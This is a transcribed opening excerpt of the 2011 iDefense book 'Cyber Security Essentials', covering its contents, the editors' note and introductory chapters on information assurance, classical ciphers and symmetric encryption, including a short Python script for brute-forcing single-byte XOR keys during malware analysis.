Cyber Security Essentials

Transcription

CYBER SECURITY
ESSENTIALS
CYBER SECURITY
ESSENTIALS
Edited by
James Graham
Richard Howard
Ryan Olson
Auerbach Publications
Taylor & Francis Group
6000 Broken Sound Parkway NW, Suite 300
Boca Raton, FL 33487-2742
© 2011 by Taylor and Francis Group, LLC
Auerbach Publications is an imprint of Taylor & Francis Group, an Informa business
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Contents
A Note
About
from the
the
E xecutive Editors
Au t h o rs
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xiii
Contributors
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C h a p t e r 1C y b e r S e c u r i t y F u n d a m e n ta l s 1.1 Network and Security Concepts
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1.1.1
1.1.2
1.1.3
1.1.4
1.1.5
1.1.6
Information Assurance Fundamentals
1.1.1.1 Authentication
1.1.1.2 Authorization
1.1.1.3 Nonrepudiation
1.1.1.4 Confidentiality
1.1.1.5 Integrity
1.1.1.6 Availability
Basic Cryptography
Symmetric Encryption
1.1.3.1 Example of Simple Symmetric
Encryption with Exclusive OR
(XOR)
1.1.3.2 Improving upon Stream Ciphers
with Block Ciphers
Public Key Encryption
The Domain Name System (DNS)
1.1.5.1 Security and the DNS
Firewalls
1.1.6.1 History Lesson
1.1.6.2 What’s in a Name?
1.1.6.3 Packet-Filtering Firewalls
© 2011 by Taylor & Francis Group, LLC
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v i
C o n t en t s
1.1.6.4 Stateful Firewalls
1.1.6.5 Application Gateway Firewalls
1.1.6.6 Conclusions
1.1.7 Virtualization
1.1.7.1 In the Beginning, There Was
Blue …
1.1.7.2 The Virtualization Menu
1.1.7.3 Full Virtualization
1.1.7.4 Getting a Helping Hand from the
Processor
1.1.7.5 If All Else Fails, Break It to Fix It
1.1.7.6 Use What You Have
1.1.7.7 Doing It the Hard Way
1.1.7.8 Biting the Hand That Feeds
1.1.7.9 Conclusion
1.1.8 Radio-Frequency Identification
1.1.8.1 Identify What?
1.1.8.2 Security and Privacy Concerns
1.2 Microsoft Windows Security Principles
1.2.1 Windows Tokens
1.2.1.1 Introduction
1.2.1.2 Concepts behind Windows
Tokens
1.2.1.3 Access Control Lists
1.2.1.4 Conclusions
1.2.2 Window Messaging
1.2.2.1 Malicious Uses of Window
Messages
1.2.2.2 Solving Problems with Window
Messages
1.2.3 Windows Program Execution
1.2.3.1 Validation of Parameters
1.2.3.2 Load Image, Make Decisions
1.2.3.3 Creating the Process Object
1.2.3.4 Context Initialization
1.2.3.5 Windows Subsystem Post
Initialization
1.2.3.6 Initial Thread … Go!
1.2.3.7 Down to the Final Steps
1.2.3.8 Exploiting Windows Execution
for Fun and Profit
1.2.4 The Windows Firewall
References
C h a p t e r 2 At ta c k e r Te c h n i q u e s
2.1
an d
M o t i vat i o n s How Hackers Cover Their Tracks (Antiforensics)
2.1.1 How and Why Attackers Use Proxies
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C o n t en t s 2.1.1.1 Types of Proxies
2.1.1.2 Detecting the Use of Proxies
2.1.1.3 Conclusion
2.1.2 Tunneling Techniques
2.1.2.1 HTTP
2.1.2.2 DNS
2.1.2.3 ICMP
2.1.2.4 Intermediaries, Steganography,
and Other Concepts
2.1.2.5 Detection and Prevention
2.2 Fraud Techniques
2.2.1 Phishing, Smishing, Vishing, and Mobile
Malicious Code
2.2.1.1 Mobile Malicious Code
2.2.1.2 Phishing against Mobile Devices
2.2.1.3 Conclusions
2.2.2 Rogue Antivirus
2.2.2.1 Following the Money: Payments
2.2.2.2 Conclusion
2.2.3 Click Fraud
2.2.3.1 Pay-per-Click
2.2.3.2 Click Fraud Motivations
2.2.3.3 Click Fraud Tactics and Detection
2.2.3.4 Conclusions
2.3 Threat Infrastructure
2.3.1 Botnets
2.3.2 Fast-Flux
2.3.3 Advanced Fast-Flux
References
C h a p t e r 3E x p l o i tat i o n 3.1
Techniques to Gain a Foothold
3.1.1 Shellcode
3.1.2 Integer Overflow Vulnerabilities
3.1.3 Stack-Based Buffer Overflows
3.1.3.1 Stacks upon Stacks
3.1.3.2 Crossing the Line
3.1.3.3 Protecting against Stack-Based
Buffer Overflows
3.1.3.4 Addendum: Stack-Based Buffer
Overflow Mitigation
3.1.4 Format String Vulnerabilities
3.1.5 SQL Injection
3.1.5.1 Protecting against SQL Injection
3.1.5.2 Conclusion
3.1.6 Malicious PDF Files
3.1.6.1 PDF File Format
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C o n t en t s
3.1.6.2
3.1.6.3
Creating Malicious PDF Files
Reducing the Risks of Malicious
PDF Files
3.1.6.4 Concluding Comments
3.1.7 Race Conditions
3.1.7.1 Examples of Race Conditions
3.1.7.2 Detecting and Preventing Race
Conditions
3.1.7.3 Conclusion
3.1.8 Web Exploit Tools
3.1.8.1 Features for Hiding
3.1.8.2 Commercial Web Exploit Tools
and Services
3.1.8.3 Updates, Statistics, and
Administration
3.1.8.4 Proliferation of Web Exploit Tools
Despite Protections
3.1.9 DoS Conditions
3.1.10 Brute Force and Dictionary Attacks
3.1.10.1 Attack
3.2 Misdirection, Reconnaissance, and Disruption
Methods
3.2.1 Cross-Site Scripting (XSS)
3.2.2 Social Engineering
3.2.3 WarXing
3.2.4 DNS Amplification Attacks
3.2.4.1 Defeating Amplification
References
C h a p t e r 4M a l i c i o u s C o d e 4.1
4.2
Self-Replicating Malicious Code
4.1.1 Worms
4.1.2 Viruses
Evading Detection and Elevating Privileges
4.2.1 Obfuscation
4.2.2 Virtual Machine Obfuscation
4.2.3 Persistent Software Techniques
4.2.3.1 Basic Input–Output System
(BIOS)/Complementary MetalOxide Semiconductor (CMOS)
and Master Boot Record (MBR)
Malicious Code
4.2.3.2 Hypervisors
4.2.3.3 Legacy Text Files
4.2.3.4 Autostart Registry Entries
4.2.3.5 Start Menu “Startup” Folder
4.2.3.6 Detecting Autostart Entries
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Rootkits
4.2.4.1 User Mode Rootkits
4.2.4.2 Kernel Mode Rootkits
4.2.4.3 Conclusion
4.2.5 Spyware
4.2.6 Attacks against Privileged User Accounts
and Escalation of Privileges
4.2.6.1 Many Users Already Have
Administrator Permissions
4.2.6.2 Getting Administrator
Permissions
4.2.6.3 Conclusion
4.2.7 Token Kidnapping
4.2.8 Virtual Machine Detection
4.2.8.1 Fingerprints Everywhere!
4.2.8.2 Understanding the Rules of the
Neighborhood
4.2.8.3 Detecting Communication with
the Outside World
4.2.8.4 Putting It All Together
4.2.8.5 The New Hope
4.2.8.6 Conclusion
4.3 Stealing Information and Exploitation
4.3.1 Form Grabbing
4.3.2 Man-in-the-Middle Attacks
4.3.2.1 Detecting and Preventing MITM
Attacks
4.2.3.2 Conclusion
4.3.3 DLL Injection
4.3.3.1 Windows Registry DLL Injection
4.3.3.2 Injecting Applications
4.3.3.3 Reflective DLL Injections
4.3.3.4 Conclusion
4.3.4 Browser Helper Objects
4.3.4.1 Security Implications
References
C h a p t e r 5D e f e n s e
5.1
an d
A na ly s i s Te c h n i q u e s Memory Forensics
5.1.1 Why Memory Forensics Is Important
5.1.2 Capabilities of Memory Forensics
5.1.3 Memory Analysis Frameworks
5.1.4 Dumping Physical Memory
5.1.5 Installing and Using Volatility
5.1.6 Finding Hidden Processes
5.1.7 Volatility Analyst Pack
5.1.8 Conclusion
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5.2
5.3
C h a p t e r 6
Honeypots
Malicious Code Naming
5.3.1 Concluding Comments
5.4 Automated Malicious Code Analysis Systems
5.4.1 Passive Analysis
5.4.2 Active Analysis
5.4.3 Physical or Virtual Machines
5.5 Intrusion Detection Systems
References
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iDefense
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S p e c i a l F i l e I n v e s t i g at i o n To o l s © 2011 by Taylor & Francis Group, LLC
A Note from the Executive Editors
This is not your typical security book. Other books of this genre exist to
prepare you for certification or to teach you how to use a tool, but none
explains the concepts behind the security threats impacting enterprises
every day in a manner and format conducive to quick understanding.
It is similar to a reference book, an encyclopedia of sorts, but not
quite. It is not comprehensive enough to be an encyclopedia. This
book does not cover every security concept from A to Z, just the ones
that we have observed having the most impact on the large-enterprise
network battle.
It is similar to books like the Unix Power Tools series, but again not
quite. Those authors collected small snippets of practical information
about how to run a UNIX machine. This book has no code samples.
It is not a “how-to” book on hacking skills. This book, instead, covers
key security concepts and what they mean to the enterprise in an easyto-read format that provides practical information and suggestions for
common security problems. The essays in this book are short, designed
to bring a reader up to speed on a subject very quickly. They are not
70-page treatises, but rather high-level explanations about what the
issue is, how it works, and what mitigation options are available.
It is similar to the Physician’s Desktop Reference (PDR), but once
again not quite. The PDR is an annually published aggregation of
drug manufacturers’ prescription information. The information in
xi
x ii
A N o t e f r o m t he E x ec u ti v e Ed it o rs
this book does not change often enough to require an annual update.
Most of the material covers baseline concepts with which all security
practitioners should be familiar and may serve as the first step toward
developing a prescription to solve security problems they are likely to
see daily.
It is similar to military “smart books,” but, ultimately, not quite.
Smart books are built by the soldiers themselves when they are placed
in charge of a new mission. These are generally looseleaf notebooks
that carry snippets of key information about how to get the job
done—everything from stats about a unit’s combat reaction drills to
information about the entire unit’s weapons capabilities. They contain
checklists and how-to’s and FAQs and any other critical information
that a soldier cannot afford to forget. In summary, we took the liberty
of building a cyber security smart book for you.
This book builds on the methods that all these types of books use.
The contents are inspired by the cyber security experts around the
world who are continuously learning new concepts or who have to
explain old concepts to bosses, peers, and subordinates. What they
need is a desktop reference, a place to start to refresh their knowledge
on old subjects they are already familiar with or to come up to speed
quickly on something new they know nothing about.
We do not want you to read this from cover to cover. Go to the table
of contents, pick a topic you are interested in, and understand it. Jump
around; read what interests you most, but keep it handy for emergencies—on your desk, on your bookshelf, or even in your e-book reader.
By the time you are done with all the issues explained throughout this
book, you will be the “go-to” person in your security organization.
When you need a refresher or you need to learn something new, start
here. That’s what we intend it to do for you.
About the Authors
This book is the direct result of the outstanding efforts of a talented
pool of security analysts, editors, business leaders, and security professionals, all of whom work for iDefense® Security Intelligence Services;
a business unit of VeriSign, Inc.
iDefense is an open-source, cyber security intelligence operation
that maintains expertise in vulnerability research and alerting, exploit
development, malicious code analysis, underground monitoring, and
international actor attribution. iDefense provides intelligence products to Fortune 1,000 companies and “three-letter agencies” in various
world governments. iDefense also maintains the Security Operations
Center for the Financial Sector Information Sharing and Analysis
Center (FS-ISAC), one of 17 ISACs mandated by the US government to facilitate information sharing throughout the country’s business sectors.
iDefense has the industry-unique capability of determining not only
the technical details of cyber security threats and events (the “what,”
the “when,” and the “where”), but because of their international presence, iDefense personnel can ascertain the most likely actors and motivations behind these attacks (the “who” and the “why”).
For more information, please contact [email protected].
x iii
Contributors
Executive Editors
Editor-in-Chief
Jason Greenwood
Rick Howard
Steven Winterfield
Ralph Thomas
James Graham
Lead Author
Ryan Olson
Authors
Michael Ligh
Greg Sinclair
Blake Hartstein
Shahan Sudusinghe
Jon Gary
Robert Falcone
Aldrich De Mata
Ryan Smith
Arion Lawrence
Design
Joon-Hyung Park
Editors
Bryan Richardson
Kellie Bryan
Pam Metrokotsas
Meredith Rothrock
Taryn Sneed
xv
1
C yber S ecurit y
Fundamentals
1.1â•‡ Network and Security Concepts
1.1.1â•‡ Information Assurance Fundamentals
Authentication, authorization, and nonrepudiation are tools that
system designers can use to maintain system security with respect
to confidentiality, integrity, and availability. Understanding each of
these six concepts and how they relate to one another helps security
professionals design and implement secure systems. Each component
is critical to overall security, with the failure of any one component
resulting in potential system compromise.
There are three key concepts, known as the CIA triad, which anyone who protects an information system must understand: confidentiality, integrity, and availability. Information security professionals are
dedicated to ensuring the protection of these principals for each system
they protect. Additionally, there are three key concepts that security
professionals must understand to enforce the CIA principles properly:
authentication, authorization, and nonrepudiation. In this section, we
explain each of these concepts and how they relate to each other in
the digital security realm. All definitions used in this section originate
from the National Information Assurance Glossary (NIAG) published
by the U.S. Committee on National Security Systems.1
1.1.1.1â•‡ Authenticationâ•… Authentication is important to any secure sys-
tem, as it is the key to verifying the source of a message or that an
individual is whom he or she claims. The NIAG defines authentication
as a “security measure designed to establish the validity of a transmission, message, or originator, or a means of verifying an individual’s
authorization to receive specific categories of information.”
1
2
Cy ber Se c urit y E s sen tia l sï»¿
FACTOR
EXAMPLES
Something
You Know
Information the system assumes others do not know; this information may be
secret, like a password or PIN code, or simply a piece of information that most
people do not know, such as a user’s mother’s maiden name.
Something
You Have
Something the user possesses that only he or she holds; a Radio Frequency ID
(RFID) badge, One-Time-Password (OTP) generating Token, or a physical key
Something
You Are
A person’s fingerprint, voice print, or retinal scan—factors known as biometrics
Exhibit 1-1â•… Factors of authentication.
There are many methods available to authenticate a person. In each
method, the authenticator issues a challenge that a person must answer.
This challenge normally comprises requesting a piece of information
that only authentic users can supply. These pieces of information normally fall into the three classifications known as factors of authentication (see Exhibit 1-1).
When an authentication system requires more than one of these factors, the security community classifies it as a system requiring multifactor authentication. Two instances of the same factor, such as a password
combined with a user’s mother’s maiden name, are not multifactor
authentication, but combining a fingerprint scan and a personal identification number (PIN) is, as it validates something the user is (the
owner of that fingerprint) and something the user knows (a PIN).
Authentication also applies to validating the source of a message,
such as a network packet or e-mail. At a low level, message authentication systems cannot rely on the same factors that apply to human
authentication. Message authentication systems often rely on cryptographic signatures, which consist of a digest or hash of the message
generated with a secret key. Since only one person has access to the
key that generates the signature, the recipient is able to validate the
sender of a message.
Without a sound authentication system, it is impossible to trust
that a user is who he or she says that he or she is, or that a message is
from who it claims to be.
1.1.1.2â•‡ Authorizationâ•… While authentication relates to verifying iden-
tities, authorization focuses on determining what a user has permission
Cy ber Se c urit y F un d a m en ta l s 3
to do. The NIAG defines authorization as “access privileges granted to
a user, program, or process.”
After a secure system authenticates users, it must also decide what
privileges they have. For instance, an online banking application will
authenticate a user based on his or her credentials, but it must then
determine the accounts to which that user has access. Additionally,
the system determines what actions the user can take regarding those
accounts, such as viewing balances and making transfers.
1.1.1.3â•‡ Nonrepudiationâ•… Imagine a scenario wherein Alice is purchas-
ing a car from Bob and signs a contract stating that she will pay
$20,000 for the car and will take ownership of it on Thursday. If
Alice later decides not to buy the car, she might claim that someone
forged her signature and that she is not responsible for the contract.
To refute her claim, Bob could show that a notary public verified
Alice’s identity and stamped the document to indicate this verification. In this case, the notary’s stamp has given the contract the property of nonrepudiation, which the NIAG defines as “assurance the
sender of data is provided with proof of delivery and the recipient is
provided with proof of the sender’s identity, so neither can later deny
having processed the data.”
In the world of digital communications, no notary can stamp each
transmitted message, but nonrepudiation is still necessary. To meet
this requirement, secure systems normally rely on asymmetric (or
public key) cryptography. While symmetric key systems use a single
key to encrypt and decrypt data, asymmetric systems use a key pair.
These systems use one key (private) for signing data and use the other
key (public) for verifying data. If the same key can both sign and
verify the content of a message, the sender can claim that anyone
who has access to the key could easily have forged it. Asymmetric
key systems have the nonrepudiation property because the signer of
a message can keep his or her private key secret. For more information on asymmetric cryptography, see the “State of the Hack” article
on the subject published in the July 6, 2009, edition of the Weekly
Threat Report. 2
1.1.1.4â•‡ Confidentialityâ•… The term confidentiality is familiar to most
people, even those not in the security industry. The NIAG defines
4
confidentiality as “assurance that information is not disclosed to unauthorized individuals, processes, or devices.”
Assuring that unauthorized parties do not have access to a piece of
information is a complex task. It is easiest to understand when broken
down into three major steps. First, the information must have protections capable of preventing some users from accessing it. Second, limitations must be in place to restrict access to the information to only those
who have the authorization to view it. Third, an authentication system
must be in place to verify the identity of those with access to the data.
Authentication and authorization, described earlier in this section, are
vital to maintaining confidentiality, but the concept of confidentiality
primarily focuses on concealing or protecting the information.
One way to protect information is by storing it in a private location
or on a private network that is limited to those who have legitimate
access to the information. If a system must transmit the data over a
public network, organizations should use a key that only authorized
parties know to encrypt the data. For information traveling over
the Internet, this protection could mean using a virtual private network (VPN), which encrypts all traffic between endpoints, or using
encrypted e-mail systems, which restrict viewing of a message to the
intended recipient. If confidential information is physically leaving
its protected location (as when employees transport backup tapes
between facilities), organizations should encrypt the data in case it
falls into the hands of unauthorized users.
Confidentiality of digital information also requires controls in the
real world. Shoulder surfing, the practice of looking over a person’s
shoulder while at his or her computer screen, is a nontechnical way
for an attacker to gather confidential information. Physical threats,
such as simple theft, also threaten confidentiality. The consequences
of a breach of confidentiality vary depending on the sensitivity of the
protected data. A breach in credit card numbers, as in the case of the
Heartland Payment Systems processing system in 2008, could result
in lawsuits with payouts well into the millions of dollars.
1.1.1.5â•‡ Integrityâ•… In the information security realm, integrity normally
refers to data integrity, or ensuring that stored data are accurate and
contain no unauthorized modifications. The National Information
Assurance Glossary (NIAG) defines integrity as follows:
Quality of an IS (Information System) reflecting the logical correctness
and reliability of the operating system; the logical completeness of the
hardware and software implementing the protection mechanisms; and
the consistency of the data structures and occurrence of the stored data.
Note that, in a formal security mode, integrity is interpreted more narrowly to mean protection against unauthorized modification or destruction of information. 3
This principal, which relies on authentication, authorization, and
nonrepudiation as the keys to maintaining integrity, is preventing
those without authorization from modifying data. By bypassing an
authentication system or escalating privileges beyond those normally
granted to them, an attacker can threaten the integrity of data.
Software flaws and vulnerabilities can lead to accidental losses
in data integrity and can open a system to unauthorized modification. Programs typically tightly control when a user has read-to-write
access to particular data, but a software vulnerability might make
it possible to circumvent that control. For example, an attacker can
exploit a Structured Query Language (SQL) injection vulnerability
to extract, alter, or add information to a database.
Disrupting the integrity of data at rest or in a message in transit
can have serious consequences. If it were possible to modify a funds
transfer message passing between a user and his or her online banking
website, an attacker could use that privilege to his or her advantage.
The attacker could hijack the transfer and steal the transferred funds
by altering the account number of the recipient of the funds listed in
the message to the attacker’s own bank account number. Ensuring the
integrity of this type of message is vital to any secure system.
1.1.1.6â•‡ Availabilityâ•… Information systems must be accessible to users
for these systems to provide any value. If a system is down or responding too slowly, it cannot provide the service it should. The NIAG
defines availability as “timely, reliable access to data and information
services for authorized users.”
Attacks on availability are somewhat different from those on integrity and confidentiality. The best-known attack on availability is a
denial of service (DoS) attack. A DoS can come in many forms, but
each form disrupts a system in a way that prevents legitimate users
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from accessing it. One form of DoS is resource exhaustion, whereby
an attacker overloads a system to the point that it no longer responds
to legitimate requests. The resources in question may be memory,
central processing unit (CPU) time, network bandwidth, and/or any
other component that an attacker can influence. One example of a
DoS attack is network flooding, during which the attacker sends so
much network traffic to the targeted system that the traffic saturates
the network and no legitimate request can get through.
Understanding the components of the CIA triad and the concepts
behind how to protect these principals is important for every security
professional. Each component acts like a pillar that holds up the security of a system. If an attacker breaches any of the pillars, the security
of the system will fall. Authentication, authorization, and nonrepudiation are tools that system designers can use to maintain these pillars. Understanding how all of these concepts interact with each other
is necessary to use them effectively.
1.1.2â•‡ Basic Cryptography
This section provides information on basic cryptography to explain
the history and basics of ciphers and cryptanalysis. Later sections will
explain modern cryptography applied to digital systems.
The English word cryptography derives from Greek and translates
roughly to “hidden writing.” For thousands of years, groups who wanted
to communicate in secret developed methods to write their messages
in a way that only the intended recipient could read. In the information
age, almost all communication is subject to some sort of eavesdropping,
and as a result cryptography has advanced rapidly. Understanding how
cryptography works is important for anyone who wants to be sure that
their data and communications are safe from intruders. This section
discusses cryptography, starting with basic ciphers and cryptanalysis.
The ancient Egyptians began the first known practice of writing secret messages, using nonstandard hieroglyphs to convey secret
messages as early as 1900 bc. Since that time, people have developed
many methods of hiding the content of a message. These methods are
known as ciphers.
The most famous classical cipher is the substitution cipher.
Substitution ciphers work by substituting each letter in the alphabet
with another one when writing a message. For instance, one could
shift the letters of the English alphabet as shown:
abcdefghijklmnopqrstuvwxyz
nopqrstuvwxyzabcdefghijklm
Using this cipher, the message “the act starts at midnight” would be
written as “gur npg fgnegf ng zvqavtug.” The text above, showing how
to decode the message, is known as the key. This is a very simple substitution cipher known as the Caesar cipher (after Julius Caesar, who
used it for military communications) or ROT13 because the characters in the key are rotated thirteen spaces to the left.
Cryptography is driven by the constant struggle between people
who want to keep messages secret and those who work to uncover
their meanings. Substitution ciphers are very vulnerable to cryptanalysis, the practice of breaking codes. With enough text, it would be
simple to begin replacing characters in the ciphertext with their possible cleartext counterparts. Even without knowing about the Caesar
cipher, it is easy to guess that a three-letter word at the beginning of
a sentence is likely to be the. By replacing all instances of the letters g,
u, and r with t, h, and e, the ciphertext changes to
the npt ftnetf nt zvqavtht
Next, the analyst might notice that the fourth word is only two letters
long and ends with t. There are two likely possibilities for this word: at
and it. He chooses at and replaces all occurrences of n in the sentence
with an a.
the apt ftaetf at zvqavtht
With at in place, the pattern is clearer, and the analyst guesses that if
the letter g translates to t, the adjacent letter f may translate to s.
the apt staets at zvqavtht
The word sta_ts now looks very close to starts, and the analyst makes
another substitution, indicating that rst is equivalent to efg, which
reveals the full pattern of the cipher and the message. While the
message is now clear, the meaning of “the act starts at midnight” is
not. Code words are an excellent way of hiding a message but, unlike
8
LETTER
FREQUENCY
LETTER
FREQUENCY
e
12.70%
m
2.41%
t
9.06%
w
2.36%
a
8.17%
f
2.23%
o
7.51%
g
2.02%
i
6.97%
y
1.97%
n
6.75%
p
1.93%
s
6.33%
b
1.49%
h
6.09%
v
0.98%
r
5.99%
k
0.77%
d
4.25%
j
0.15%
l
4.03%
x
0.15%
c
2.78%
q
0.10%
u
2.76%
z
0.07%
Exhibit 1-2â•… Frequency of letters in the English language.
cryptography, cannot hide the meaning of arbitrary information without agreement on the meaning of the code words in advance.
Short messages can be difficult to decrypt because there is little for
the analyst to study, but long messages encrypted with substitution
ciphers are vulnerable to frequency analysis. For instance, in the English
language, some letters appear in more words than others do. Exhibit
1-2 shows the frequency of each letter in the English language.
E is by far the most common letter in the English language and, as
such, is also the most likely character in an article written in English.
Using the table above, an analyst could determine the most likely
cleartext of any ciphertext encrypted with a substitution cipher. As
shown in the example sentence above, while the ciphertext appears to
be random, patterns remain that betray the original text.
The ultimate goal of any cipher is to produce ciphertext that is
indistinguishable from random data. Removing the patterns inherent
in the original text is crucial to producing ciphertext that is impossible to decode without the original key. In 1917, Gilbert Vernam
Exhibit 1-3â•… A lottery cage randomizes the number selection.
developed the one-time pad, a cryptographic cipher that, with a properly randomized key, produces unbreakable ciphertext. A one-time
pad is similar to a substitution cipher, for which another letter based
on a key replaces a letter, but rather than using the same key for the
entire message, a new key is used for each letter. This key must be at
least as long as the message and not contain any patterns a cryptanalyst could use to break the code.
Imagine a room filled with lottery cages such as the one shown in
Exhibit 1-3. Each cage contains twenty-six balls numbered 1–26. A
person stands next to each cage, turning the crank until a single ball
rolls out; that person records the number on a pad of paper, and puts
the ball back into the cage. Doing this repeatedly would eventually
generate a very long string of random numbers. We can use these numbers to encrypt our message with a one-time pad. In the first row in the
key shown below, we have our original cleartext (“Clear”) and, below
that, the numbers generated by our lottery cage (“Cage”). To apply the
one-time pad, we perform the same rotation of the alphabet as in the
substitution cipher above, but we rotate the alphabet by the random
number, resulting in the ciphertext (“Cipher”) in the third row.
a c T
s t a r t s
a t
m i d n i g h t
Clear T h e
Cage 22 19 2 11 5 12 19 5 16 12 6 11 5 2 19 15 24 20 18 2 21 6 5 19 17 21
g k f o L e h e g b y u s p q t d k y t n z y n
Cipher O
The letter a at the beginning of act is rotated five spaces to the
right, resulting in the letter f; however, the letter a at the beginning
10 Cy ber Se c urit y E s sen ti a l sï»¿
Exhibit 1-4â•… The German Enigma coding machine.
of at is rotated fifteen spaces, resulting in the letter p. The recipient
can decrypt the text by reversing the function, rotating the alphabet
left by the number specified in the key rather than right. A frequency
analysis will fail against this cipher because the same character in the
ciphertext can be the result of different inputs from the cleartext. The
key to the one-time pad is only using it one time. If the cryptographer
uses the numbers in a repeating pattern or uses the same numbers to
encode a second message, a pattern may appear in the ciphertext that
would help cryptanalysts break the code. The study of cryptography
advanced greatly during World War II due to the invention of radio
communication. Anyone within range of a radio signal could listen to
the transmission, leading both sides to spend countless hours studying the art of code making and code breaking.
The problem with one-time pads is that they are cumbersome to
generate and have a limited length. If a submarine captain goes to
sea for six months, he must have enough one-time pads with him to
encode every message he intends to send to central command. This
dilemma led to the development of machines that could mimic the
properties of a one-time pad but without the need to generate long
keys and carry books of random numbers. The most famous machine
Exhibit 1-5â•… Enigma rotors.
of this type is the Enigma, invented by the German engineer Arthur
Scherbius at the end of World War I.4 The Enigma (see Exhibit 1-4)5
used a series of rotors (see Exhibit 1-5)6 to encrypt each letter typed
into it with a different key. Another user with an enigma machine
could decode the message because their system had the same combination of encoded rotors.
The Enigma could not perfectly replicate a one-time pad because
any system that does not begin with random input will eventually
reveal a pattern. British mathematicians eventually discovered patterns in Enigma messages, giving them the capability to read many
German military secrets during World War II. Since the invention of
modern electronic computers, cryptography has changed significantly.
We no longer write messages on paper pads or speak them character
by character into a microphone but transmit them electronically as
binary data. The increase in computing power also gives cryptanalysts
powerful new tools for analyzing encrypted data for patterns. These
developments have led to new algorithms and techniques for hiding
data. The next section provides some detail about modern cryptography and how the principles of classical cryptography are applied to
digital systems.
1.1.3â•‡ Symmetric Encryption
Although symmetric encryption requires a shared key and therefore
depends upon the secrecy of that key, it is an effective and fast method
12 Cy ber Se c urit y E s sen tia l sï»¿
Internet
Sender
Plaintext
Receiver
txet nialP
Encryption
Decryption
Plaintext
Exhibit 1-6â•… Symmetric encryption: the sender and receiver use the same key.
for protecting the confidentiality of the encrypted content. In this section we explain the basics of symmetric encryption and how it differs
from asymmetric algorithms. Symmetric encryption is a class of reversible encryption algorithms that use the same key for both encrypting
and decrypting messages.
Symmetric encryption, by definition, requires both communication endpoints to know the same key in order to send and receive
encrypted messages (see Exhibit 1-6). Symmetric encryption depends
upon the secrecy of a key. Key exchanges or pre-shared keys present a
challenge to keeping the encrypted text’s confidentiality and are usually performed out of band using different protocols.
Algorithms in this category are usually fast because their operations use cryptographic primitives. As previously discussed in Basic
Cryptography we explained how the cryptographic primitive substitution works. Permutation, or altering the order, is another cryptographic primitive that many symmetric algorithms also use in
practice.7
1.1.3.1â•‡ Example of Simple Symmetric Encryption with Exclusive OR
(XOR)â•… At its most basic level, symmetric encryption is similar to an
exclusive OR (XOR) operation, which has the following truth table
for input variables p and q:
P
True
True
False
False
Q
= P XOR Q
True
False
True
False
False
True
True
False
The XOR operation is nearly the same as one would expect for OR,
except when both p and q are true. The properties of XOR make it
ideal for use in symmetric cryptography because one of the inputs (p)
can act as the message and the other input (q) can act as the key. The
recipient of an encrypted message (p XOR q) decrypts that message by
performing the same XOR operation that the sender used to encrypt
the original message (p).
P XOR Q
False
True
True
False
Q
True
False
True
False
= (P XOR Q) XOR Q
True
True
False
False
The operation above shows how to decrypt the encrypted message (p
XOR q) to obtain the original message (p). Applying this technique to
larger values by using their individual bits and agreeing on a common
key (q) represents the most basic symmetric encryption algorithm.
Encryption using XOR is surprisingly common in unsophisticated
malicious code, including shellcode, even as a means to hide logging
or configuration information. Due to its simplicity, many unsophisticated attackers use either one-byte XOR keys or multibyte XOR keys
to hide data. The Python script below demonstrates how to brute force
single-byte XOR keys when they contain one of the expected strings:
.com, http, or pass.
count = len(data)
for key in range(1,255):
out = ‘‘
for x in range(0,count):
out += chr(ord(data[x]) ^ int(key))
results = out.count(‘.com’) + out.count(‘http’) +
out.count(‘pass’)
if results:
print “Encryption key: \t%d matched: %d” % (key,results)
print out
While this script is effective when the original message contains a
URL or password string, analysts could use other techniques to identify expected results such as character distribution or words in the
English language.
The reason it is possible to brute force an XOR key that uses just
one byte is that the length of the key is so small. One byte (8 bits)
allows for only 256 possible key combinations. A two-byte (16 bits)
key creates 65,536 possible keys, but this number is still quite easy to
brute force with modern computing power. Modern cryptographic
ciphers typically use 128-bit keys, which are still infeasible to brute
force with today’s computing power.
The XOR operation is an example of a stream cipher, which means
that the key operates on every bit or byte to encrypt a message. Like
traditional substitution ciphers, XOR leaves patterns in ciphertext
that a cryptanalyst could use to discover the plaintext. Performing
an XOR operation on the same data twice with the same key will
always result in the same ciphertext. Modern stream ciphers like
RC4, designed by Ron Rivest in 1987, avoid this problem by using
a pseudo-random number generation (PRNG) algorithm. Instead of
performing an XOR on each byte of data with a key, a PRNG receives
a chosen key, used as a “seed.” A PRNG generates numbers that are
close to random but will always be the same given the same seed. RC4
uses the PRNG to create an infinitely long, one-time pad of singlebyte XOR keys. This technique allows the sender to encrypt a message with a single (relatively short) key, but for each individual byte,
the XOR key is different.
1.1.3.2â•‡ Improving upon Stream Ciphers with Block Ciphersâ•… Block ciphers
are more common in symmetric encryption algorithms because they
operate on a block of data rather than each character (bit or byte).
PRNG algorithms used in stream ciphers are typically time intensive.
Block ciphers are the best choice for bulk data encryption. Stream
ciphers remove patterns from ciphertext using PRNGs, but block
ciphers use a more efficient method called cipher block chaining (CBC).
When using a block cipher in CBC mode, both a key and a random
initialization vector (IV) convert blocks of plaintext into ciphertext.
The initialization vector and plaintext go through an XOR operation,
and the result is an input to the block cipher with the chosen key (see
Exhibit 1-7). This ensures that the resulting ciphertext is different,
even if the same key was used to encrypt the same plaintext, as long
as the IV is different and sufficiently random with each execution of
the algorithm.
Cy ber Se c urit y F un d a m en ta l s Plaintext
Plaintext
15
Plaintext
Initialization Vector (IV)
Key
Block Cipher
Encryption
Ciphertext
Key
Block Cipher
Encryption
Ciphertext
Key
Block Cipher
Encryption
Ciphertext
Exhibit 1-7â•… Cipher block chaining (CBC) mode encryption. Source: Cipher block chaining http://
en.wikipedia.org/wiki/File:Cbc_encryption.png.
The next block will be encrypted with the same key, but instead of
using the original IV, CBC mode uses the ciphertext generated by the
last function as the new IV. In this way, each block of cipher text is
chained to the last one. This mode has the drawback of data corruption at the beginning of the file, resulting in complete corruption of
the entire file, but is effective against cryptanalysis.
All of the most popular symmetric algorithms use block ciphers
with a combination of substitution and permutation. These include
the following:
•
•
•
•
•
•
1977 DES
1991 IDEA
1993 Blowfish
1994 RC5
1998 Triple DES
1998 AES
iDefense analyzed several malicious code attacks that encrypt data
using the popular algorithms shown in this list. Due to attackers
including the decryption or encryption key on an infected system,
analysts can attempt to decrypt messages of this type. Additionally,
analysis of the system memory before encryption or after decryption
may be effective at revealing the original message.
Programmers may wish to write custom encryption algorithms, in
the hopes that their infrequent or unusual use will detract attackers;
however, such algorithms are usually risky. As an example of this,
consider how a programmer who applies the data encryption standard
(DES) algorithm twice could affect the strength of the message. Using
double DES does not dramatically increase the strength of a message
over DES. The reason is that an attacker can compare the decryption
